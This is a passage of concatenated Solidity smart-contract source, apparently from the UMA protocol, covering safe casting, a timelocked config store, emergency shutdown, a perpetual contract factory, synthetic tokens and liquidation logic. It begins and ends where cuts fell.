with {SafeMath} to extend it to smaller types, by performing * all math on `uint256` and then downcasting. */ library SafeCast { /** * @dev Returns the downcasted uint128 from uint256, reverting on * overflow (when the input is greater than largest uint128). * * Counterpart to Solidity's `uint128` operator. * * Requirements: * * - input must fit into 128 bits */ function toUint128(uint256 value) internal pure returns (uint128) { require(value < 2**128, "SafeCast: value doesn\'t fit in 128 bits"); return uint128(value); } /** * @dev Returns the downcasted uint64 from uint256, reverting on * overflow (when the input is greater than largest uint64). * * Counterpart to Solidity's `uint64` operator. * * Requirements: * * - input must fit into 64 bits */ function toUint64(uint256 value) internal pure returns (uint64) { require(value < 2**64, "SafeCast: value doesn\'t fit in 64 bits"); return uint64(value); } /** * @dev Returns the downcasted uint32 from uint256, reverting on * overflow (when the input is greater than largest uint32). * * Counterpart to Solidity's `uint32` operator. * * Requirements: * * - input must fit into 32 bits */ function toUint32(uint256 value) internal pure returns (uint32) { require(value < 2**32, "SafeCast: value doesn\'t fit in 32 bits"); return uint32(value); } /** * @dev Returns the downcasted uint16 from uint256, reverting on * overflow (when the input is greater than largest uint16). * * Counterpart to Solidity's `uint16` operator. * * Requirements: * * - input must fit into 16 bits */ function toUint16(uint256 value) internal pure returns (uint16) { require(value < 2**16, "SafeCast: value doesn\'t fit in 16 bits"); return uint16(value); } /** * @dev Returns the downcasted uint8 from uint256, reverting on * overflow (when the input is greater than largest uint8). * * Counterpart to Solidity's `uint8` operator. * * Requirements: * * - input must fit into 8 bits. */ function toUint8(uint256 value) internal pure returns (uint8) { require(value < 2**8, "SafeCast: value doesn\'t fit in 8 bits"); return uint8(value); } /** * @dev Converts a signed int256 into an unsigned uint256. * * Requirements: * * - input must be greater than or equal to 0. */ function toUint256(int256 value) internal pure returns (uint256) { require(value >= 0, "SafeCast: value must be positive"); return uint256(value); } /** * @dev Converts an unsigned uint256 into a signed int256. * * Requirements: * * - input must be less than or equal to maxInt256. */ function toInt256(uint256 value) internal pure returns (int256) { require(value < 2**255, "SafeCast: value doesn't fit in an int256"); return int256(value); } } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "../../common/implementation/FixedPoint.sol"; interface ConfigStoreInterface { // All of the configuration settings available for querying by a perpetual. struct ConfigSettings { // Liveness period (in seconds) for an update to currentConfig to become official. uint256 timelockLiveness; // Reward rate paid to successful proposers. Percentage of 1 E.g., .1 is 10%. FixedPoint.Unsigned rewardRatePerSecond; // Bond % (of given contract's PfC) that must be staked by proposers. Percentage of 1, e.g. 0.0005 is 0.05%. FixedPoint.Unsigned proposerBondPercentage; // Maximum funding rate % per second that can be proposed. FixedPoint.Signed maxFundingRate; // Minimum funding rate % per second that can be proposed. FixedPoint.Signed minFundingRate; // Funding rate proposal timestamp cannot be more than this amount of seconds in the past from the latest // update time. uint256 proposalTimePastLimit; } function updateAndGetCurrentConfig() external returns (ConfigSettings memory); } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "@openzeppelin/contracts/math/SafeMath.sol"; /** * @title EmergencyShutdownable contract. * @notice Any contract that inherits this contract will have an emergency shutdown timestamp state variable. * This contract provides modifiers that can be used by children contracts to determine if the contract is * in the shutdown state. The child contract is expected to implement the logic that happens * once a shutdown occurs. */ abstract contract EmergencyShutdownable { using SafeMath for uint256; /**************************************** * EMERGENCY SHUTDOWN DATA STRUCTURES * ****************************************/ // Timestamp used in case of emergency shutdown. 0 if no shutdown has been triggered. uint256 public emergencyShutdownTimestamp; /**************************************** * MODIFIERS * ****************************************/ modifier notEmergencyShutdown() { _notEmergencyShutdown(); _; } modifier isEmergencyShutdown() { _isEmergencyShutdown(); _; } /**************************************** * EXTERNAL FUNCTIONS * ****************************************/ constructor() public { emergencyShutdownTimestamp = 0; } /**************************************** * INTERNAL FUNCTIONS * ****************************************/ function _notEmergencyShutdown() internal view { // Note: removed require string to save bytecode. require(emergencyShutdownTimestamp == 0); } function _isEmergencyShutdown() internal view { // Note: removed require string to save bytecode. require(emergencyShutdownTimestamp != 0); } } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "../common/FundingRateApplier.sol"; import "../../common/implementation/FixedPoint.sol"; // Implements FundingRateApplier internal methods to enable unit testing. contract FundingRateApplierTest is FundingRateApplier { constructor( bytes32 _fundingRateIdentifier, address _collateralAddress, address _finderAddress, address _configStoreAddress, FixedPoint.Unsigned memory _tokenScaling, address _timerAddress ) public FundingRateApplier( _fundingRateIdentifier, _collateralAddress, _finderAddress, _configStoreAddress, _tokenScaling, _timerAddress ) {} function calculateEffectiveFundingRate( uint256 paymentPeriodSeconds, FixedPoint.Signed memory fundingRatePerSecond, FixedPoint.Unsigned memory currentCumulativeFundingRateMultiplier ) public pure returns (FixedPoint.Unsigned memory) { return _calculateEffectiveFundingRate( paymentPeriodSeconds, fundingRatePerSecond, currentCumulativeFundingRateMultiplier ); } // Required overrides. function _pfc() internal view virtual override returns (FixedPoint.Unsigned memory currentPfc) { return FixedPoint.Unsigned(collateralCurrency.balanceOf(address(this))); } function emergencyShutdown() external override {} function remargin() external override {} function _getTokenAddress() internal view override returns (address) { return address(collateralCurrency); } } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "./ConfigStoreInterface.sol"; import "../../common/implementation/Testable.sol"; import "../../common/implementation/Lockable.sol"; import "../../common/implementation/FixedPoint.sol"; /** * @notice ConfigStore stores configuration settings for a perpetual contract and provides an interface for it * to query settings such as reward rates, proposal bond sizes, etc. The configuration settings can be upgraded * by a privileged account and the upgraded changes are timelocked. */ contract ConfigStore is ConfigStoreInterface, Testable, Lockable, Ownable { using SafeMath for uint256; using FixedPoint for FixedPoint.Unsigned; /**************************************** * STORE DATA STRUCTURES * ****************************************/ // Make currentConfig private to force user to call getCurrentConfig, which returns the pendingConfig // if its liveness has expired. ConfigStoreInterface.ConfigSettings private currentConfig; // Beginning on `pendingPassedTimestamp`, the `pendingConfig` can be published as the current config. ConfigStoreInterface.ConfigSettings public pendingConfig; uint256 public pendingPassedTimestamp; /**************************************** * EVENTS * ****************************************/ event ProposedNewConfigSettings( address indexed proposer, uint256 rewardRatePerSecond, uint256 proposerBondPercentage, uint256 timelockLiveness, int256 maxFundingRate, int256 minFundingRate, uint256 proposalTimePastLimit, uint256 proposalPassedTimestamp ); event ChangedConfigSettings( uint256 rewardRatePerSecond, uint256 proposerBondPercentage, uint256 timelockLiveness, int256 maxFundingRate, int256 minFundingRate, uint256 proposalTimePastLimit ); /**************************************** * MODIFIERS * ****************************************/ // Update config settings if possible. modifier updateConfig() { _updateConfig(); _; } /** * @notice Construct the Config Store. An initial configuration is provided and set on construction. * @param _initialConfig Configuration settings to initialize `currentConfig` with. * @param _timerAddress Address of testable Timer contract. */ constructor(ConfigSettings memory _initialConfig, address _timerAddress) public Testable(_timerAddress) { _validateConfig(_initialConfig); currentConfig = _initialConfig; } /** * @notice Returns current config or pending config if pending liveness has expired. * @return ConfigSettings config settings that calling financial contract should view as "live". */ function updateAndGetCurrentConfig() external override updateConfig() nonReentrant() returns (ConfigStoreInterface.ConfigSettings memory) { return currentConfig; } /** * @notice Propose new configuration settings. New settings go into effect after a liveness period passes. * @param newConfig Configuration settings to publish after `currentConfig.timelockLiveness` passes from now. * @dev Callable only by owner. Calling this while there is already a pending proposal will overwrite the pending proposal. */ function proposeNewConfig(ConfigSettings memory newConfig) external onlyOwner() nonReentrant() updateConfig() { _validateConfig(newConfig); // Warning: This overwrites a pending proposal! pendingConfig = newConfig; // Use current config's liveness period to timelock this proposal. pendingPassedTimestamp = getCurrentTime().add(currentConfig.timelockLiveness); emit ProposedNewConfigSettings( msg.sender, newConfig.rewardRatePerSecond.rawValue, newConfig.proposerBondPercentage.rawValue, newConfig.timelockLiveness, newConfig.maxFundingRate.rawValue, newConfig.minFundingRate.rawValue, newConfig.proposalTimePastLimit, pendingPassedTimestamp ); } /** * @notice Publish any pending configuration settings if there is a pending proposal that has passed liveness. */ function publishPendingConfig() external nonReentrant() updateConfig() {} /**************************************** * INTERNAL FUNCTIONS * ****************************************/ // Check if pending proposal can overwrite the current config. function _updateConfig() internal { // If liveness has passed, publish proposed configuration settings. if (_pendingProposalPassed()) { currentConfig = pendingConfig; _deletePendingConfig(); emit ChangedConfigSettings( currentConfig.rewardRatePerSecond.rawValue, currentConfig.proposerBondPercentage.rawValue, currentConfig.timelockLiveness, currentConfig.maxFundingRate.rawValue, currentConfig.minFundingRate.rawValue, currentConfig.proposalTimePastLimit ); } } function _deletePendingConfig() internal { delete pendingConfig; pendingPassedTimestamp = 0; } function _pendingProposalPassed() internal view returns (bool) { return (pendingPassedTimestamp != 0 && pendingPassedTimestamp <= getCurrentTime()); } // Use this method to constrain values with which you can set ConfigSettings. function _validateConfig(ConfigStoreInterface.ConfigSettings memory config) internal pure { // We don't set limits on proposal timestamps because there are already natural limits: // - Future: price requests to the OptimisticOracle must be in the past---we can't add further constraints. // - Past: proposal times must always be after the last update time, and a reasonable past limit would be 30 // mins, meaning that no proposal timestamp can be more than 30 minutes behind the current time. // Make sure timelockLiveness is not too long, otherwise contract might not be able to fix itself // before a vulnerability drains its collateral. require(config.timelockLiveness <= 7 days && config.timelockLiveness >= 1 days, "Invalid timelockLiveness"); // The reward rate should be modified as needed to incentivize honest proposers appropriately. // Additionally, the rate should be less than 100% a year => 100% / 360 days / 24 hours / 60 mins / 60 secs // = 0.0000033 FixedPoint.Unsigned memory maxRewardRatePerSecond = FixedPoint.fromUnscaledUint(33).div(1e7); require(config.rewardRatePerSecond.isLessThan(maxRewardRatePerSecond), "Invalid rewardRatePerSecond"); // We don't set a limit on the proposer bond because it is a defense against dishonest proposers. If a proposer // were to successfully propose a very high or low funding rate, then their PfC would be very high. The proposer // could theoretically keep their "evil" funding rate alive indefinitely by continuously disputing honest // proposers, so we would want to be able to set the proposal bond (equal to the dispute bond) higher than their // PfC for each proposal liveness window. The downside of not limiting this is that the config store owner // can set it arbitrarily high and preclude a new funding rate from ever coming in. We suggest setting the // proposal bond based on the configuration's funding rate range like in this discussion: // https://github.com/UMAprotocol/protocol/issues/2039#issuecomment-719734383 // We also don't set a limit on the funding rate max/min because we might need to allow very high magnitude // funding rates in extraordinarily volatile market situations. Note, that even though we do not bound // the max/min, we still recommend that the deployer of this contract set the funding rate max/min values // to bound the PfC of a dishonest proposer. A reasonable range might be the equivalent of [+200%/year, -200%/year]. } } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "../../common/interfaces/ExpandedIERC20.sol"; import "../../common/interfaces/IERC20Standard.sol"; import "../../oracle/implementation/ContractCreator.sol"; import "../../common/implementation/Testable.sol"; import "../../common/implementation/AddressWhitelist.sol"; import "../../common/implementation/Lockable.sol"; import "../common/TokenFactory.sol"; import "../common/SyntheticToken.sol"; import "./PerpetualLib.sol"; import "./ConfigStore.sol"; /** * @title Perpetual Contract creator. * @notice Factory contract to create and register new instances of perpetual contracts. * Responsible for constraining the parameters used to construct a new perpetual. This creator contains a number of constraints * that are applied to newly created contract. These constraints can evolve over time and are * initially constrained to conservative values in this first iteration. Technically there is nothing in the * Perpetual contract requiring these constraints. However, because `createPerpetual()` is intended * to be the only way to create valid financial contracts that are registered with the DVM (via _registerContract), we can enforce deployment configurations here. */ contract PerpetualCreator is ContractCreator, Testable, Lockable { using FixedPoint for FixedPoint.Unsigned; /**************************************** * PERP CREATOR DATA STRUCTURES * ****************************************/ // Immutable params for perpetual contract. struct Params { address collateralAddress; bytes32 priceFeedIdentifier; bytes32 fundingRateIdentifier; string syntheticName; string syntheticSymbol; FixedPoint.Unsigned collateralRequirement; FixedPoint.Unsigned disputeBondPercentage; FixedPoint.Unsigned sponsorDisputeRewardPercentage; FixedPoint.Unsigned disputerDisputeRewardPercentage; FixedPoint.Unsigned minSponsorTokens; FixedPoint.Unsigned tokenScaling; uint256 withdrawalLiveness; uint256 liquidationLiveness; } // Address of TokenFactory used to create a new synthetic token. address public tokenFactoryAddress; event CreatedPerpetual(address indexed perpetualAddress, address indexed deployerAddress); event CreatedConfigStore(address indexed configStoreAddress, address indexed ownerAddress); /** * @notice Constructs the Perpetual contract. * @param _finderAddress UMA protocol Finder used to discover other protocol contracts. * @param _tokenFactoryAddress ERC20 token factory used to deploy synthetic token instances. * @param _timerAddress Contract that stores the current time in a testing environment. */ constructor( address _finderAddress, address _tokenFactoryAddress, address _timerAddress ) public ContractCreator(_finderAddress) Testable(_timerAddress) nonReentrant() { tokenFactoryAddress = _tokenFactoryAddress; } /** * @notice Creates an instance of perpetual and registers it within the registry. * @param params is a `ConstructorParams` object from Perpetual. * @return address of the deployed contract. */ function createPerpetual(Params memory params, ConfigStore.ConfigSettings memory configSettings) public nonReentrant() returns (address) { require(bytes(params.syntheticName).length != 0, "Missing synthetic name"); require(bytes(params.syntheticSymbol).length != 0, "Missing synthetic symbol"); // Create new config settings store for this contract and reset ownership to the deployer. ConfigStore configStore = new ConfigStore(configSettings, timerAddress); configStore.transferOwnership(msg.sender); emit CreatedConfigStore(address(configStore), configStore.owner()); // Create a new synthetic token using the params. TokenFactory tf = TokenFactory(tokenFactoryAddress); // If the collateral token does not have a `decimals()` method, // then a default precision of 18 will be applied to the newly created synthetic token. uint8 syntheticDecimals = _getSyntheticDecimals(params.collateralAddress); ExpandedIERC20 tokenCurrency = tf.createToken(params.syntheticName, params.syntheticSymbol, syntheticDecimals); address derivative = PerpetualLib.deploy(_convertParams(params, tokenCurrency, address(configStore))); // Give permissions to new derivative contract and then hand over ownership. tokenCurrency.addMinter(derivative); tokenCurrency.addBurner(derivative); tokenCurrency.resetOwner(derivative); _registerContract(new address[](0), derivative); emit CreatedPerpetual(derivative, msg.sender); return derivative; } /**************************************** * PRIVATE FUNCTIONS * ****************************************/ // Converts createPerpetual params to Perpetual constructor params. function _convertParams( Params memory params, ExpandedIERC20 newTokenCurrency, address configStore ) private view returns (Perpetual.ConstructorParams memory constructorParams) { // Known from creator deployment. constructorParams.finderAddress = finderAddress; constructorParams.timerAddress = timerAddress; // Enforce configuration constraints. require(params.withdrawalLiveness != 0, "Withdrawal liveness cannot be 0"); require(params.liquidationLiveness != 0, "Liquidation liveness cannot be 0"); _requireWhitelistedCollateral(params.collateralAddress); // We don't want perpetual deployers to be able to intentionally or unintentionally set // liveness periods that could induce arithmetic overflow, but we also don't want // to be opinionated about what livenesses are "correct", so we will somewhat // arbitrarily set the liveness upper bound to 100 years (5200 weeks). In practice, liveness // periods even greater than a few days would make the perpetual unusable for most users. require(params.withdrawalLiveness < 5200 weeks, "Withdrawal liveness too large"); require(params.liquidationLiveness < 5200 weeks, "Liquidation liveness too large"); // To avoid precision loss or overflows, prevent the token scaling from being too large or too small. FixedPoint.Unsigned memory minScaling = FixedPoint.Unsigned(1e8); // 1e-10 FixedPoint.Unsigned memory maxScaling = FixedPoint.Unsigned(1e28); // 1e10 require( params.tokenScaling.isGreaterThan(minScaling) && params.tokenScaling.isLessThan(maxScaling), "Invalid tokenScaling" ); // Input from function call. constructorParams.configStoreAddress = configStore; constructorParams.tokenAddress = address(newTokenCurrency); constructorParams.collateralAddress = params.collateralAddress; constructorParams.priceFeedIdentifier = params.priceFeedIdentifier; constructorParams.fundingRateIdentifier = params.fundingRateIdentifier; constructorParams.collateralRequirement = params.collateralRequirement; constructorParams.disputeBondPercentage = params.disputeBondPercentage; constructorParams.sponsorDisputeRewardPercentage = params.sponsorDisputeRewardPercentage; constructorParams.disputerDisputeRewardPercentage = params.disputerDisputeRewardPercentage; constructorParams.minSponsorTokens = params.minSponsorTokens; constructorParams.withdrawalLiveness = params.withdrawalLiveness; constructorParams.liquidationLiveness = params.liquidationLiveness; constructorParams.tokenScaling = params.tokenScaling; } // IERC20Standard.decimals() will revert if the collateral contract has not implemented the decimals() method, // which is possible since the method is only an OPTIONAL method in the ERC20 standard: // https://eips.ethereum.org/EIPS/eip-20#methods. function _getSyntheticDecimals(address _collateralAddress) public view returns (uint8 decimals) { try IERC20Standard(_collateralAddress).decimals() returns (uint8 _decimals) { return _decimals; } catch { return 18; } } } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; import "../interfaces/FinderInterface.sol"; import "../../common/implementation/AddressWhitelist.sol"; import "./Registry.sol"; import "./Constants.sol"; /** * @title Base contract for all financial contract creators */ abstract contract ContractCreator { address internal finderAddress; constructor(address _finderAddress) public { finderAddress = _finderAddress; } function _requireWhitelistedCollateral(address collateralAddress) internal view { FinderInterface finder = FinderInterface(finderAddress); AddressWhitelist collateralWhitelist = AddressWhitelist(finder.getImplementationAddress(OracleInterfaces.CollateralWhitelist)); require(collateralWhitelist.isOnWhitelist(collateralAddress), "Collateral not whitelisted"); } function _registerContract(address[] memory parties, address contractToRegister) internal { FinderInterface finder = FinderInterface(finderAddress); Registry registry = Registry(finder.getImplementationAddress(OracleInterfaces.Registry)); registry.registerContract(parties, contractToRegister); } } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; import "./SyntheticToken.sol"; import "../../common/interfaces/ExpandedIERC20.sol"; import "../../common/implementation/Lockable.sol"; /** * @title Factory for creating new mintable and burnable tokens. */ contract TokenFactory is Lockable { /** * @notice Create a new token and return it to the caller. * @dev The caller will become the only minter and burner and the new owner capable of assigning the roles. * @param tokenName used to describe the new token. * @param tokenSymbol short ticker abbreviation of the name. Ideally < 5 chars. * @param tokenDecimals used to define the precision used in the token's numerical representation. * @return newToken an instance of the newly created token interface. */ function createToken( string calldata tokenName, string calldata tokenSymbol, uint8 tokenDecimals ) external nonReentrant() returns (ExpandedIERC20 newToken) { SyntheticToken mintableToken = new SyntheticToken(tokenName, tokenSymbol, tokenDecimals); mintableToken.addMinter(msg.sender); mintableToken.addBurner(msg.sender); mintableToken.resetOwner(msg.sender); newToken = ExpandedIERC20(address(mintableToken)); } } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; import "../../common/implementation/ExpandedERC20.sol"; import "../../common/implementation/Lockable.sol"; /** * @title Burnable and mintable ERC20. * @dev The contract deployer will initially be the only minter, burner and owner capable of adding new roles. */ contract SyntheticToken is ExpandedERC20, Lockable { /** * @notice Constructs the SyntheticToken. * @param tokenName The name which describes the new token. * @param tokenSymbol The ticker abbreviation of the name. Ideally < 5 chars. * @param tokenDecimals The number of decimals to define token precision. */ constructor( string memory tokenName, string memory tokenSymbol, uint8 tokenDecimals ) public ExpandedERC20(tokenName, tokenSymbol, tokenDecimals) nonReentrant() {} /** * @notice Add Minter role to account. * @dev The caller must have the Owner role. * @param account The address to which the Minter role is added. */ function addMinter(address account) external override nonReentrant() { addMember(uint256(Roles.Minter), account); } /** * @notice Remove Minter role from account. * @dev The caller must have the Owner role. * @param account The address from which the Minter role is removed. */ function removeMinter(address account) external nonReentrant() { removeMember(uint256(Roles.Minter), account); } /** * @notice Add Burner role to account. * @dev The caller must have the Owner role. * @param account The address to which the Burner role is added. */ function addBurner(address account) external override nonReentrant() { addMember(uint256(Roles.Burner), account); } /** * @notice Removes Burner role from account. * @dev The caller must have the Owner role. * @param account The address from which the Burner role is removed. */ function removeBurner(address account) external nonReentrant() { removeMember(uint256(Roles.Burner), account); } /** * @notice Reset Owner role to account. * @dev The caller must have the Owner role. * @param account The new holder of the Owner role. */ function resetOwner(address account) external override nonReentrant() { resetMember(uint256(Roles.Owner), account); } /** * @notice Checks if a given account holds the Minter role. * @param account The address which is checked for the Minter role. * @return bool True if the provided account is a Minter. */ function isMinter(address account) public view nonReentrantView() returns (bool) { return holdsRole(uint256(Roles.Minter), account); } /** * @notice Checks if a given account holds the Burner role. * @param account The address which is checked for the Burner role. * @return bool True if the provided account is a Burner. */ function isBurner(address account) public view nonReentrantView() returns (bool) { return holdsRole(uint256(Roles.Burner), account); } } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "./Perpetual.sol"; /** * @title Provides convenient Perpetual Multi Party contract utilities. * @dev Using this library to deploy Perpetuals allows calling contracts to avoid importing the full bytecode. */ library PerpetualLib { /** * @notice Returns address of new Perpetual deployed with given `params` configuration. * @dev Caller will need to register new Perpetual with the Registry to begin requesting prices. Caller is also * responsible for enforcing constraints on `params`. * @param params is a `ConstructorParams` object from Perpetual. * @return address of the deployed Perpetual contract */ function deploy(Perpetual.ConstructorParams memory params) public returns (address) { Perpetual derivative = new Perpetual(params); return address(derivative); } } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "./PerpetualLiquidatable.sol"; /** * @title Perpetual Multiparty Contract. * @notice Convenient wrapper for Liquidatable. */ contract Perpetual is PerpetualLiquidatable { /** * @notice Constructs the Perpetual contract. * @param params struct to define input parameters for construction of Liquidatable. Some params * are fed directly into the PositionManager's constructor within the inheritance tree. */ constructor(ConstructorParams memory params) public PerpetualLiquidatable(params) // Note: since there is no logic here, there is no need to add a re-entrancy guard. { } } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "./PerpetualPositionManager.sol"; import "../../common/implementation/FixedPoint.sol"; /** * @title PerpetualLiquidatable * @notice Adds logic to a position-managing contract that enables callers to liquidate an undercollateralized position. * @dev The liquidation has a liveness period before expiring successfully, during which someone can "dispute" the * liquidation, which sends a price request to the relevant Oracle to settle the final collateralization ratio based on * a DVM price. The contract enforces dispute rewards in order to incentivize disputers to correctly dispute false * liquidations and compensate position sponsors who had their position incorrectly liquidated. Importantly, a * prospective disputer must deposit a dispute bond that they can lose in the case of an unsuccessful dispute. * NOTE: this contract does _not_ work with ERC777 collateral currencies or any others that call into the receiver on * transfer(). Using an ERC777 token would allow a user to maliciously grief other participants (while also losing * money themselves). */ contract PerpetualLiquidatable is PerpetualPositionManager { using FixedPoint for FixedPoint.Unsigned; using SafeMath for uint256; using SafeERC20 for IERC20; /**************************************** * LIQUIDATION DATA STRUCTURES * ****************************************/ // Because of the check in withdrawable(), the order of these enum values should not change. enum Status { Uninitialized, NotDisputed, Disputed, DisputeSucceeded, DisputeFailed } struct LiquidationData { // Following variables set upon creation of liquidation: address sponsor; // Address of the liquidated position's sponsor address liquidator; // Address who created this liquidation Status state; // Liquidated (and expired or not), Pending a Dispute, or Dispute has resolved uint256 liquidationTime; // Time when liquidation is initiated, needed to get price from Oracle // Following variables determined by the position that is being liquidated: FixedPoint.Unsigned tokensOutstanding; // Synthetic tokens required to be burned by liquidator to initiate dispute FixedPoint.Unsigned lockedCollateral; // Collateral locked by contract and released upon expiry or post-dispute // Amount of collateral being liquidated, which could be different from // lockedCollateral if there were pending withdrawals at the time of liquidation FixedPoint.Unsigned liquidatedCollateral; // Unit value (starts at 1) that is used to track the fees per unit of collateral over the course of the liquidation. FixedPoint.Unsigned rawUnitCollateral; // Following variable set upon initiation of a dispute: address disputer; // Person who is disputing a liquidation // Following variable set upon a resolution of a dispute: FixedPoint.Unsigned settlementPrice; // Final price as determined by an Oracle following a dispute FixedPoint.Unsigned finalFee; } // Define the contract's constructor parameters as a struct to enable more variables to be specified. // This is required to enable more params, over and above Solidity's limits. struct ConstructorParams { // Params for PerpetualPositionManager only. uint256 withdrawalLiveness; address configStoreAddress; address collateralAddress; address tokenAddress; address finderAddress; address timerAddress; bytes32 priceFeedIdentifier; bytes32 fundingRateIdentifier; FixedPoint.Unsigned minSponsorTokens; FixedPoint.Unsigned tokenScaling; // Params specifically for PerpetualLiquidatable. uint256 liquidationLiveness; FixedPoint.Unsigned collateralRequirement; FixedPoint.Unsigned disputeBondPercentage; FixedPoint.Unsigned sponsorDisputeRewardPercentage; FixedPoint.Unsigned disputerDisputeRewardPercentage; } // This struct is used in the `withdrawLiquidation` method that disperses liquidation and dispute rewards. // `payToX` stores the total collateral to withdraw from the contract to pay X. This value might differ // from `paidToX` due to precision loss between accounting for the `rawCollateral` versus the // fee-adjusted collateral. These variables are stored within a struct to avoid the stack too deep error. struct RewardsData { FixedPoint.Unsigned payToSponsor; FixedPoint.Unsigned payToLiquidator; FixedPoint.Unsigned payToDisputer; FixedPoint.Unsigned paidToSponsor; FixedPoint.Unsigned paidToLiquidator; FixedPoint.Unsigned paidToDisputer; } // Liquidations are unique by ID per sponsor mapping(address => LiquidationData[]) public liquidations; // Total collateral in liquidation. FixedPoint.Unsigned public rawLiquidationCollateral; // Immutable contract parameters: // Amount of time for pending liquidation before expiry. // !!Note: The lower the liquidation liveness value, the more risk incurred by sponsors. // Extremely low liveness values increase the chance that opportunistic invalid liquidations // expire without dispute, thereby decreasing the usability for sponsors and increasing the risk // for the contract as a whole. An insolvent contract is extremely risky for any sponsor or synthetic // token holder for the contract. uint256 public liquidationLiveness; // Required collateral:TRV ratio for a position to be considered sufficiently collateralized. FixedPoint.Unsigned public collateralRequirement; // Percent of a Liquidation/Position's lockedCollateral to be deposited by a potential disputer // Represented as a multiplier, for example 1.5e18 = "150%" and 0.05e18 = "5%" FixedPoint.Unsigned public disputeBondPercentage; // Percent of oraclePrice paid to sponsor in the Disputed state (i.e. following a successful dispute) // Represented as a multiplier, see above. FixedPoint.Unsigned public sponsorDisputeRewardPercentage; // Percent of oraclePrice paid to disputer in the Disputed state (i.e. following a successful dispute) // Represented as a multiplier, see above. FixedPoint.Unsigned public disputerDisputeRewardPercentage; /**************************************** * EVENTS * ****************************************/ event LiquidationCreated( address indexed sponsor, address indexed liquidator, uint256 indexed liquidationId, uint256 tokensOutstanding, uint256 lockedCollateral, uint256 liquidatedCollateral, uint256 liquidationTime ); event LiquidationDisputed( address indexed sponsor, address indexed liquidator, address indexed disputer, uint256 liquidationId, uint256 disputeBondAmount ); event DisputeSettled( address indexed caller, address indexed sponsor, address indexed liquidator, address disputer, uint256 liquidationId, bool disputeSucceeded ); event LiquidationWithdrawn( address indexed caller, uint256 paidToLiquidator, uint256 paidToDisputer, uint256 paidToSponsor, Status indexed liquidationStatus, uint256 settlementPrice ); /**************************************** * MODIFIERS * ****************************************/ modifier disputable(uint256 liquidationId, address sponsor) { _disputable(liquidationId, sponsor); _; } modifier withdrawable(uint256 liquidationId, address sponsor) { _withdrawable(liquidationId, sponsor); _; } /** * @notice Constructs the liquidatable contract. * @param params struct to define input parameters for construction of Liquidatable. Some params * are fed directly into the PositionManager's constructor within the inheritance tree. */ constructor(ConstructorParams memory params) public PerpetualPositionManager( params.withdrawalLiveness, params.collateralAddress, params.tokenAddress, params.finderAddress, params.priceFeedIdentifier, params.fundingRateIdentifier, params.minSponsorTokens, params.configStoreAddress, params.tokenScaling, params.timerAddress ) { require(params.collateralRequirement.isGreaterThan(1)); require(params.sponsorDisputeRewardPercentage.add(params.disputerDisputeRewardPercentage).isLessThan(1)); // Set liquidatable specific variables. liquidationLiveness = params.liquidationLiveness; collateralRequirement = params.collateralRequirement; disputeBondPercentage = params.disputeBondPercentage; sponsorDisputeRewardPercentage = params.sponsorDisputeRewardPercentage; disputerDisputeRewardPercentage = params.disputerDisputeRewardPercentage; } /**************************************** * LIQUIDATION FUNCTIONS * ****************************************/ /** * @notice Liquidates the sponsor's position if the caller has enough * synthetic tokens to retire the position's outstanding tokens. Liquidations above * a minimum size also reset an ongoing "slow withdrawal"'s liveness. * @dev This method generates an ID that will uniquely identify liquidation for the sponsor. This contract must be * approved to spend at least `tokensLiquidated` of `tokenCurrency` and at least `finalFeeBond` of `collateralCurrency`. * @dev This contract must have the Burner role for the `tokenCurrency`. * @param sponsor address of the sponsor to liquidate. * @param minCollateralPerToken abort the liquidation if the position's collateral per token is below this value. * @param maxCollateralPerToken abort the liquidation if the position's collateral per token exceeds this value. * @param maxTokensToLiquidate max number of tokens to liquidate. * @param deadline abort the liquidation if the transaction is mined after this timestamp. * @return liquidationId ID of the newly created liquidation. * @return tokensLiquidated amount of synthetic tokens removed and liquidated from the `sponsor`'s position. * @return finalFeeBond amount of collateral to be posted by liquidator and returned if not disputed successfully. */ function createLiquidation( address sponsor, FixedPoint.Unsigned calldata minCollateralPerToken, FixedPoint.Unsigned calldata maxCollateralPerToken, FixedPoint.Unsigned calldata maxTokensToLiquidate, uint256 deadline ) external notEmergencyShutdown() fees() nonReentrant() returns ( uint256 liquidationId, FixedPoint.Unsigned memory tokensLiquidated, FixedPoint.Unsigned memory finalFeeBond ) { // Check that this transaction was mined pre-deadline. require(getCurrentTime() <= deadline, "Mined after deadline"); // Retrieve Position data for sponsor PositionData storage positionToLiquidate = _getPositionData(sponsor); tokensLiquidated = FixedPoint.min(maxTokensToLiquidate, positionToLiquidate.tokensOutstanding); require(tokensLiquidated.isGreaterThan(0)); // Starting values for the Position being liquidated. If withdrawal request amount is > position's collateral, // then set this to 0, otherwise set it to (startCollateral - withdrawal request amount). FixedPoint.Unsigned memory startCollateral = _getFeeAdjustedCollateral(positionToLiquidate.rawCollateral); FixedPoint.Unsigned memory startCollateralNetOfWithdrawal = FixedPoint.fromUnscaledUint(0); if (positionToLiquidate.withdrawalRequestAmount.isLessThanOrEqual(startCollateral)) { startCollateralNetOfWithdrawal = startCollateral.sub(positionToLiquidate.withdrawalRequestAmount); } // Scoping to get rid of a stack too deep error. { FixedPoint.Unsigned memory startTokens = positionToLiquidate.tokensOutstanding; // The Position's collateralization ratio must be between [minCollateralPerToken, maxCollateralPerToken]. require( maxCollateralPerToken.mul(startTokens).isGreaterThanOrEqual(startCollateralNetOfWithdrawal), "CR is more than max liq. price" ); // minCollateralPerToken >= 